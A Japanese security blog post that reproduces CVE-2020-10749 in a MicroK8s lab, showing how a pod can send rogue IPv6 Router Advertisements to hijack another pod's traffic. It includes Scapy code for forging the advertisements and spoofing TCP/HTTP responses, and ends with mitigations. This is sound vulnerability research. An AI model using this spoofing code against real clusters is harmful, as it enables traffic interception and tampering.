少し前ですが、Kubernetesの方から以下の脆弱性が公開されました。 github.com
タイトルにはCVE-2020-10749と書きましたが、複数のCNI実装が影響を受ける脆弱性でCVE-2020-10749はcontainernetworking/pluginsにアサインされたものです。他にもCalicoはCVE-2020-13597、DockerはCVE-2020-13401、などとそれぞれCVE-IDがアサインされています。
このIssueの説明を読んで、はいはいあれね完全に理解した、と思って一旦閉じました。ですが、頭で分かった気になって手を動かさないのは一番やってはいけないことと念じ続けてきたのに、しれっと同じことをやりそうになっていた事に気づきました。なので数日経ってからちゃんとPoCを書いてみました。多少知識が増えてくるとついうっかりやってしまいがちなので気をつけなければなと自戒しました。
これは自分の業務ではなくて趣味であり、もちろん全ての脆弱性を検証していくのは不可能なのですが業務でクラウドネイティブ界隈にいるということと、ネットワーク関連の脆弱性ということで自分は検証しておかねばダメだなと思い直し今回検証しました。
ブログは面倒だから良いやと思っていたら会社から"圧"があったので英語で書く前に一旦頭を整理するために日本語で書いておきます。
概要
上のIssueにある通り、攻撃者が悪意あるIPv6 Router Advertisements(RA)をコンテナから送ることで、ホストや他のコンテナの通信を攻撃者配下のコンテナに送らせることが出来るというものです。それを元の宛先に転送してあげれば中間者攻撃(MitM)可能ということになります。ここまでで分かる通り、前提条件として攻撃者が対象のコンテナ内に侵入する必要があります。外部からログインしても良いし細工したコンテナイメージをpullさせても良いのですが、いずれにせよ攻撃条件を満たすのが難しいです。なので正直脆弱性の深刻度としてはかなり低い部類だと思います。
ですが、IPv6使ってないから大丈夫ということはありません。後ほど説明しますがIPv6を完全に無効化していない限りは攻撃者による不正RAによって強引にIPv6のアドレスを付与されます。そして同時にデフォルトゲートウェイも設定されてしまうので攻撃が成立します。でも外部と通信する時はIPv4だから関係ないのでは?と思う方もいらっしゃるかもしれませんが、DNSがIPv6のレコード(AAAA)を返す場合はIPv6を優先して使うHTTPクライアントの実装が多いです。自分が2014年ぐらいに調査した時は多くのブラウザなどもそうなっていましたし、2020年時点でもcurlはそうなっています。上のIssueでもその点が強調されているためIPv6?関係ないな、と早計な判断をしないように気をつける必要があります。
ただ、そもそもDHCPやRAには認証や署名などのセキュリティ的な機能は備わっていないので元々不正RAなどに対して脆弱です。スイッチ側での対策などはありますが、プロトコルそのものは特に対策が入っていないと認識しています。ネットワーク詳しい人からツッコミが来るかもしれないのでJPNICのドキュメントも貼っておきます。
最近の動向は知らないので既に何かしら対策があるのかもしれないのですが、少なくとも今回の脆弱性では不正RAによる攻撃をKubernetes内で行うといったものになっています。なので、正直これはCNIの脆弱性というべきなのだろうか?というのがあまり理解できていません。もちろんデフォルトでRAを受け取らないようにしておけば攻撃を受けなかったんだから脆弱なデフォルト設定だ、という見方もあると思うのですがLinuxもデフォルトでaccept_ra=1なディストリビューションが多そう(手元で試したUbuntu等は全部有効だった)なので、特別にCNIだけが脆弱と認定された理由は良く分かっていません。
それはさておき脆弱性の説明に入りますが、その前にRAとは何かについて説明しておきます。
Router Advertisements(RA、ルータ広告)とは
これも迂闊なことを言って誤った説明をするのが怖いのでJPNICの説明を引用しておきます。
RA (Router Advertisement; ルータ広告)とは、 IPv6アドレスの自動設定を行う機能(Stateless Address Autoconfiguration, SLAAC)(*1)の一部分で、 RFC4862で標準化されています。
(中略)
IPv6のアドレスを設定したいノードは、 接続しているセグメントにルータが存在するかどうか、 もしあるのであればプリフィクス情報を送るようRS (Router Solicitation; ルータ要請)メッセージを、 すべてのルータ(全ルータマルチキャスト(ff02::2))に対して送信します。 そのメッセージを受け取ったルータは、 RAメッセージをすべてのノード(全ノードマルチキャスト(ff02::1))に対して送ります。 ノードは応答された内容からプリフィクスを取得し、 さらにMACアドレスを元にして数値を生成するEUI-64(*2)やその他のアルゴリズムからインタフェースIDを生成することで、 アドレスを設定することができます。
図にすると以下のようになります。実際にはネットワークに繋いだらリンクローカルアドレスが振られて、とかもあるのですが一旦置いておきます。重要なのはノードがRSを送るとルータがRAを返しそのRA内にはプレフィックスが含まれているという点と、そのプレフィックスを使ってIPv6のアドレスを自動で作るという点です。EUI-64はMACアドレスを使うので以下の図のように1234みたいに綺麗にはならないのですが、例のため簡略化しています。
そしてもう一つ重要な点として、ノードがRSを送らなくてもルータはRAを送ることが可能という点です。これは別に攻撃に関係なく、定期的にルータからRAを送信するという設定が可能です。そのためノードとしても自分がRSを送っていなければRAを受け取らないということはなく、RAを受け取れば普通に設定します。
また、ノードはRAを受け取ったルータをデフォルトゲートウェイとして設定します。静的に設定した場合とかDHCPv6とかが共存してる場合とか細かく話し出すとキリがないので、ルータとノードだけがあるシンプルな構成と考えてください。
ということで上述したように、攻撃者が不正RAを送出するとノードはそのノードをルータと見なしてしまいそちらにパケットを送信します。
不正RAを使った攻撃
正直もう概要としてはあまり説明するところはありません。上の不正RAをコンテナ内で行うだけです。コンテナ内から適当なプレフィックスを指定してRAをブロードキャストすると、RAを受け取ったインタフェースでIPv6がEUI-64などにより設定され、RAを送ってきたコンテナのIPv6アドレスをデフォルトゲートウェイとして設定します。
じゃあもう理解できたな、と思いがちですが実は攻撃しようとするとそんなに現実が甘くないことが分かります。これは実際にやってみないと気づきにくいと思うのでやはり検証が大事だな、と思うわけですがデフォルトではコンテナ内で勝手にIPアドレスを変更したり付与できません。もちろん権限を付与していれば別です。そのため、上のように攻撃者のコンテナにfe80::2を付与しようとしても付与することが出来ません。つまりfe80::2に通信を向けさせようとしてもすんなりとはいかないということです。
ではどうするかと言うと、実はそこまで難しくありません。まず、最初のハードルとしてIPv6アドレスとMACアドレスのマッピング問題があります。IPv6ではNeighbor Discovery(ND)が使われるわけですが、コンテナにはIPv6のアドレス(fe80::2)が付与されていないためNDに応答してくれません。ただこれはLinuxの機能として応答してくれなくて不便というだけなので、自分でプログラムを書いたりして勝手に応答すれば問題ありません。さらに、今回の例では実はそれすら必要ありません。RAを送る際にICMPv6 OptionとしてSource link-layer addressとしてMACアドレスを指定しておけば、ソースIPv6アドレスと紐付けてNDキャッシュに保存しておいてくれます(多分)。嘘言ってたらすみません。もしかしたら単にパケットの来たソースアドレスとMACアドレスのペアを保存してるだけなのかもしれませんが、少なくとも自分の環境ではICMPv6 Optionに入れておかないとNDキャッシュに入れてくれませんでした。
その後、fe80::2に送ろうとした場合は既にNDキャッシュにfe80::2のMACアドレスが保存されているため勝手に攻撃者コンテナに送信してくれます。
そして次のハードルですが、fe80::2宛のパケットなのに攻撃者コンテナにはそのアドレスが付いていないためパケットを落としてしまう問題です。これも適当にプロキシを立てても行けるかとは思いますが、先程同様にインタフェースをsniffしつつ自分でパケットを応答してあげれば良いです。後ほどスクリプトも説明しますが、自分はScapyを使ってTCPの3-way handshakeなどを行いました。
実例
言葉で説明されてもよくわからないかと思うので実際に攻撃してみます。ネットワーク構成としては以下のようなものを想定しています。上述したように攻撃者のコンテナにはIPv6はつけることが出来ない設定です。また、1 Pod 1 コンテナ想定です。
見て分かる通り、IPv4アドレスしか利用していません。こういう環境上でもattackerのPodからvictimにRAを投げてやることでIPv6を強引に付与しつつデフォルトゲートウェイを自分に向けるという攻撃です。
今回は他のコンテナに対して攻撃を行っていますが、ノードに対しても攻撃可能であることを検証済みです。ノード上から通信している場合はそれを攻撃者のPodに持ってくることが出来ます。
Kubernetes環境の準備
今回はせっかくなのでMicroK8sを使いました。自分はmacOS上で試したのですが、Windowsやminikube使ってもクラスタが用意できれば何でも良いと思います。
MicroK8sのインストール方法は以下です。
まずクラスタを立ち上げます。
$ brew install ubuntu/microk8s/microk8s $ microk8s install MicroK8s is up and running. See the available commands with `microk8s --help`. $ microk8s status --wait-ready microk8s is running addons: dashboard: disabled dns: disabled metrics-server: disabled registry: disabled storage: disabled cilium: disabled fluentd: disabled gpu: disabled helm: disabled helm3: disabled host-access: disabled ingress: disabled istio: disabled jaeger: disabled knative: disabled kubeflow: disabled linkerd: disabled metallb: disabled prometheus: disabled rbac: disabled
$ microk8s kubectl get nodes NAME STATUS ROLES AGE VERSION microk8s-vm Ready <none> 10d v1.18.3-34+0c5dcc01175871
いくつかアドオンをenableしておきます。dashboardとかは今回不要ですが便利なので一応有効にしてます。
$ microk8s enable dns storage dashboard registry
毎回microk8sコマンド打つのも面倒なので、kubeconfigを保存してKUBECONFIGに指定してしまいます。これはもっと良い方法ありそうですが、MicroK8sの使い方記事じゃないので一旦これで行きます。
$ microk8s config > kubeconfig $ export KUBECONFIG=$PWD/kubeconfig $ kubectl get nodes NAME STATUS ROLES AGE VERSION microk8s-vm Ready <none> 10d v1.18.3-34+0c5dcc01175871
Victim Pod
victim側は多分大体のイメージで動くと思いますが、今回はalpine:3.12を使っています。
以下のリポジトリに今回の検証で使ったファイル一式が入ってます。
CVE-2020-10749/victim.yml at master · knqyf263/CVE-2020-10749 · GitHub
apiVersion: apps/v1 kind: Deployment ... spec: spec: containers: - image: alpine:3.12 name: victim command: ["sleep", "100000"]
victim側のDeploymentの設定はこれだけなので自分で用意してもらっても大丈夫です。
とはいえ後々スクリプトなどが必要になるのでcloneしておきます。
$ git clone https://github.com/knqyf263/CVE-2020-10749.git $ cd CVE-2020-10749
ではapplyします。
$ kubectl apply -f victim/victim.yml $ kubectl get pods NAME READY STATUS RESTARTS AGE victim-5484d9f977-drttl 1/1 Running 0 3s
このPodに入ります。そして、IPv6が有効かを確認します。いくつか読み取れない値がありますが無視で良いです。
$ kubectl exec -it victim-5484d9f977-drttl -- sh / # sysctl -a | grep disable_ipv6 net.ipv6.conf.all.disable_ipv6 = 0 net.ipv6.conf.default.disable_ipv6 = 0 net.ipv6.conf.eth0.disable_ipv6 = 0 net.ipv6.conf.lo.disable_ipv6 = 0
disable_ipv6=0なので、つまり有効ということです。そしてRAを受け取る設定になっているかも確認します。
/ # sysctl -a | grep "accept_ra =" net.ipv6.conf.all.accept_ra = 1 net.ipv6.conf.default.accept_ra = 1 net.ipv6.conf.eth0.accept_ra = 1 net.ipv6.conf.lo.accept_ra = 1
accept_ra=1なので受け取る設定になっています。次にインタフェースに付いているIPv6アドレスを見てみます。
/ # ip -6 a 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 state UNKNOWN qlen 1000 inet6 ::1/128 scope host valid_lft forever preferred_lft forever 3: eth0@if13: <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1450 state UP inet6 fe80::d096:88ff:fe81:5143/64 scope link valid_lft forever preferred_lft forever
リンクローカルアドレスだけは付いている状態です。これで攻撃可能な状態であることが分かります。
念の為IPv6のルーティングテーブルも見ておきます。
/ # ip -6 route fe80::/64 dev eth0 metric 256 ff00::/8 dev eth0 metric 256
fe80等のアドレス宛ならeth0からパケットを送出するがそれ以外の宛先へのルートは持っていないことが分かります。
victimの確認は以上です。ただ設定を確認しただけでプレーンなalpine:3.12のままです。後にcurlを使うので先にインストールだけしておきます。
/ # apk add curl
後ほどexample.com宛の通信を改ざんするので、現時点では正常に通信できることを確かめておくと良いです。
/ # curl http://example.com
attacker
不正RA
まず不正RAを送るためのプログラムを書く必要があります。Scapyであれば以下のように簡単にRAパケットを作ることが出来ます。
ra = Ether(src=mac_addr)/IPv6(src=src_addr)/ICMPv6ND_RA()
ra /= ICMPv6NDOptPrefixInfo(prefix=prefix, prefixlen=64)
ra /= ICMPv6NDOptSrcLLAddr(lladdr=mac_addr)
ここでIPv6のsrcとして指定するアドレスは実際には存在しないIPv6アドレスです。今回は適当に fe80::42:fcff:dead:beef
としています。dead:beaf以外のところは特に意味ないです。スクリプト全体は以下にあります。
CVE-2020-10749/fake_ra.py at master · knqyf263/CVE-2020-10749 · GitHub
そして上で述べたとおり、偽のソースIPv6アドレスとMACアドレスの紐付けを行うためにICMPv6NDOptSrcLLAddrに攻撃者コンテナのMACアドレスを指定しています。
攻撃者用イメージのbuild/push
何度も検証する場合、毎回このPythonファイルをコンテナ内にコピーするのは面倒なのでこのファイルを含んだイメージを作成しておきます。この時点で既に後に使うダミーサーバ用のプログラムも含んでいます。
これをMicroK8sのビルトインレジストリにpushしたいので、ホスト名を付けてビルドします。
上のドキュメントではlocalhostになってますが、MicroK8s on macOSでは仮想マシン上でクラスタが起動されているので、IPアドレスを指定する必要があります(これまた多分)。
$ kubectl get nodes -o wide NAME STATUS ROLES AGE VERSION INTERNAL-IP EXTERNAL-IP OS-IMAGE KERNEL-VERSION CONTAINER-RUNTIME microk8s-vm Ready <none> 10d v1.18.3-34+0c5dcc01175871 192.168.64.3 <none> Ubuntu 18.04.4 LTS 4.15.0-101-generic containerd://1.2.5
192.168.64.3ということが分かったのでビルドします。Dockerfileは以下にありますが、alpine:3.12をベースにしてプログラムを中にCOPYしてるだけです。
CVE-2020-10749/Dockerfile at master · knqyf263/CVE-2020-10749 · GitHub
$ docker build -t 192.168.64.3:32000/attacker ./attacker
あとはpushなのですが上のドキュメントにも書いている通り、デフォルトではビルトインレジストリがHTTPなのでDocker側の設定で許可してあげる必要があります。以下のような感じです。
設定変更したらDocker Engineの再起動が必要です。ではpushします。
$ docker push 192.168.64.3:32000/attacker
これで準備完了です。
不正RAメッセージの送信
準備が終わったのでデプロイします。デプロイ用のYAMLも特に変わったところはないです。特に強い権限を与えるわけでもなくデフォルトという感じです。
$ cat attacker/attacker.yml
apiVersion: apps/v1
kind: Deployment
spec:
...
spec:
containers:
- image: localhost:32000/attacker
name: attacker
$ kubectl apply -f attacker/attacker.yml
deployment.apps/attacker created
ログインしてMACアドレスを確認します。
$ kubectl get pods NAME READY STATUS RESTARTS AGE attacker-8857dd5c9-j7wwd 1/1 Running 0 11s victim-5484d9f977-drttl 1/1 Running 0 3h28m $ kubectl exec -it attacker-8857dd5c9-j7wwd -- sh / # ip a show eth0 3: eth0@if14: <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1450 qdisc noqueue state UP link/ether 0e:57:fb:44:b3:f1 brd ff:ff:ff:ff:ff:ff inet 10.1.55.42/24 scope global eth0 valid_lft forever preferred_lft forever inet6 fe80::c57:fbff:fe44:b3f1/64 scope link valid_lft forever preferred_lft forever
このコンテナのMACアドレスは 0e:57:fb:44:b3:f1
ということが分かったのでスクリプトを更新します。このコンテナにもリンクローカルアドレスがついていることから分かる通り、IPv6はdisableされていないようです。
では上のプログラムを実行してみます。
/ # python fake_ra.py Sending a fake router advertisement message... . Sent 1 packets.
これでvictimの方のインタフェースに指定したプレフィックス(2001:db8:1::
)を持ったIPv6アドレスが生成されているはずです。victimのPodに入って確認してみます。
$ kubectl exec -it victim-5484d9f977-drttl -- sh / # ip -6 a show eth0 3: eth0@if13: <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1450 state UP inet6 2001:db8:1:0:d096:88ff:fe81:5143/64 scope global dynamic valid_lft forever preferred_lft forever inet6 fe80::d096:88ff:fe81:5143/64 scope link valid_lft forever preferred_lft forever
無事に 2001:db8:1:0:d096:88ff:fe81:5143/64
というIPv6アドレスが付与されていることが分かりました。このコンテナのMACアドレスは d2:96:88:81:51:43
なので、もし詳しくない方はEUI-64について学んでみても面白いと思います。ただEUI-64のようにMACアドレスから生成する方式だとIPv6アドレスから端末を特定されてしまいプライバシー的に問題があるということで、ランダムに生成するための様々なRFCが提案されていたりもします。
脱線しましたが話を戻します。IPv6アドレスだけでなくIPv6のルーティングテーブルも重要です。
/ # ip -6 route 2001:db8:1::/64 dev eth0 metric 256 fe80::/64 dev eth0 metric 256 default via fe80::42:fcff:dead:beef dev eth0 metric 1024 expires 0sec ff00::/8 dev eth0 metric 256
上で見たときには存在しなかったdefaultが生成されています。さらに、デフォルトゲートウェイの宛先は上で指定したdead:beafのアドレスになっています。これによって、victimコンテナは攻撃者のコンテナに対してIPv6のパケットを投げてしまいます。
NDキャッシュも見てみます。
/ # ip -6 neigh fe80::42:fcff:dead:beef dev eth0 lladdr 0e:57:fb:44:b3:f1 router used 0/0/0 probes 0 STALE
攻撃時にRAパケット内にICMPv6 Optionとしてlladdrを指定しておいたため、無事に fe80::42:fcff:dead:beef
と 0e:57:fb:44:b3:f1
が紐付いています。fe80::42:fcff:dead:beef
などというIPv6アドレスは実際には誰も持っていないわけですが、ちゃんと攻撃者のコンテナにパケットが来てくれます。説明だけ見てふむふむってなるだけだと、こういう細部まで考えが至らないかと思います。
不正サーバ
この時点で既にIPv6パケットは攻撃者のコンテナに来てくれます。そこからどうするかは自由なわけですが、せっかくなのでサーバのふりをして偽の応答を返してみます。HTTPSだと証明書を信頼させる必要があるので、今回はHTTPを対象にします。実際のシナリオでもHTTPSに対してMitMしたいとなると結構面倒かなと思います。コンテナが強い権限を持っていてホストのroot CA設定を変更可能だったりしたら攻撃が成立しそうですが、それ以外だとあまり思いついてないです。なのでMitMが成立しても全部HTTPSなので問題ないです、という可能性もあります。
ただパケットを自分に向けさせつつ全部dropすることでDoSは可能なので、情報窃取目的ではなくサービス妨害という意味では有効かもしれません。
今回はexample.comに対する通信をMitMして偽の応答を返すことにします。先程から説明している通り、コンテナにはIPv6アドレスを付与することが出来ません。そのため、TCPの3-way handshakeを自分で行い、HTTPのGETリクエストが来たらHTTPレスポンスを自分で返す必要があります。
Scapyを使えば難しくないので簡単に説明します。
from scapy.all import * # recv: SYN syn = sniff(count=1, filter="tcp and port 80") # initializing some variables for later use. sport = syn[0].sport seq_num = syn[0].seq ack_num = syn[0].seq + 1 src = syn[0][IPv6].src dst = syn[0][IPv6].dst # send: SYN/ACK eth = Ether(src=syn[0].dst, dst=syn[0].src) ipv6 = IPv6(src=dst, dst=src) tcp_synack = TCP(sport=80, dport=sport, flags="SA", seq=seq_num, ack=ack_num, options=[('MSS', 1460)]) sendp(eth/ipv6/tcp_synack, iface="eth0")
TCPで80番ポート宛のパケットをsniffしてシーケンス番号等を取り出してSYN/ACKを返します。すると次にHTTPリクエストが飛んでくるので、あとはHTTPのレスポンスを返すだけです。
# recv: HTTP request get_request = sniff(filter="tcp and port 80",count=1,prn=lambda x:x.sprintf("{IP:%IP.src%: %TCP.dport%}")) # send: HTTP response ack_num = ack_num + len(get_request[0].load) seq_num = syn[0].seq + 1 html1 = "HTTP/1.1 200 OK\x0d\x0aDate: Wed, 29 Sep 2020 20:19:05 GMT\x0d\x0aServer: Malicious server\x0d\x0aConnection: Keep-Alive\x0d\x0aContent-Type: text/html; charset=UTF-8\x0d\x0aContent-Length: 17\x0d\x0a\x0d\x0amalicious!!!!!!!\n" tcp = TCP(sport=80, dport=sport, flags="PA", seq=seq_num, ack=ack_num, options=[('MSS', 1460)]) ack_http = srp1(eth/ipv6/tcp/html1, iface="eth0")
この辺りはコピペしてきて改変しただけなので不要なヘッダとかパラメータあると思います。あとはFINを送ってあげてTCPセッションを終了すれば完了です。プログラム全体は以下にあります。
CVE-2020-10749/server.py at master · knqyf263/CVE-2020-10749 · GitHub
攻撃者Podに入ってこのプログラムを起動しましょう。ただ先程送ったNDのキャッシュが切れてるかもしれないので、もう一度fake_ra.pyを実行しておくと良いかもしれません。
kubectl exec -it attacker-8857dd5c9-j7wwd -- sh / # python server.py Listening...
Exploit
上のターミナルは開きつつ、別のターミナルを開いてvictim Podに入ります。全て準備は整っているので、あとはexample.comにcurlするだけです。
$ kubectl exec -it victim-5484d9f977-drttl -- sh / # curl http://example.com malicious!!!!!!!
ということでvictimからしたら単にexample.comにアクセスしただけなのにmaliciousという文字列が返ってきました。victimからすれば何もしていないのに突然通信が改ざんされているので気付きようがないですね。
動画
今行った一連の流れをGIFにしておいたので、興味あれば見てください。
CVE-2020-10749/CVE-2020-10749.gif at master · knqyf263/CVE-2020-10749 · GitHub
緩和策
もちろんCNIプラグインのバージョンを更新すれば影響を受けなくなるわけですが、それが難しい場合は以下の3つにより緩和可能です。
- net.ipv6.conf.all.accept_ra=0 に設定する
- これが0になっているとRAメッセージを受け取ってもIPv6アドレスを付与したりデフォルトゲートウェイを設定したりしなくなります。
- TLSを使う
- きちんとした証明書を使ってHTTPS通信しているとMitMは難しくなります
CAP_NET_RAW
を無効にするPod Security Policy
などにRequiredDropCapabilities
を設定してNET_RAW
の権限をなくしてしまえばコンテナから好きにパケットを送れなくなるので今回の攻撃の影響は受けません。
逆に言うと攻撃の成立条件は上の反対を全て満たしている場合、になります。accept_ra=1でかつTLSを使っておらずCAP_NET_RAW
が有効ということです。
また、RAを無効にしたりNET_RAWを無効にしたりすると正常な通信に影響が出る可能性もあるので気をつける必要があります。
余談
そもそも最初に述べたように、何でこれが脆弱性として認定されたのかな、というのは少し気になっています。さらに言うと弊社が以前出したブログでDNS Spoofingを使って限りなく似たことを行っています。NET_RAW
さえ付与されていれば成立する攻撃で、今回の脆弱性と同様にMitMですし攻撃条件の差異もあまり見当たりません。にも関わらずこちらは脆弱性としては認められませんでした。
ボスがKubernetesのセキュリティチームに聞いたところセキュリティチームも何でだろうね...と困惑していたらしいので対応した人によって判断基準が違ったりするのかもしれません。
まとめ
今回は攻撃条件も厳しく攻撃成立後も与えられるインパクトは小さいためそこまで急いで対応する必要のある脆弱性ではないと考えています。ですがきちんと自分で攻撃を成立させることで学ぶことは多いです。もし興味がある方は自分で一度やってみると理解が深まると思います。
そしてそもそもこれはRAの問題であってKubernetesの何が問題なのか、と言われると自分も正直答えられません。RAの問題とはいえ攻撃が成立するんだから脆弱性なのでは?と言われると今度は上のDNS Spoofingが脆弱性として認定されていない理由が分かりません。細かいことは気にせず強く生きていきたいと思います。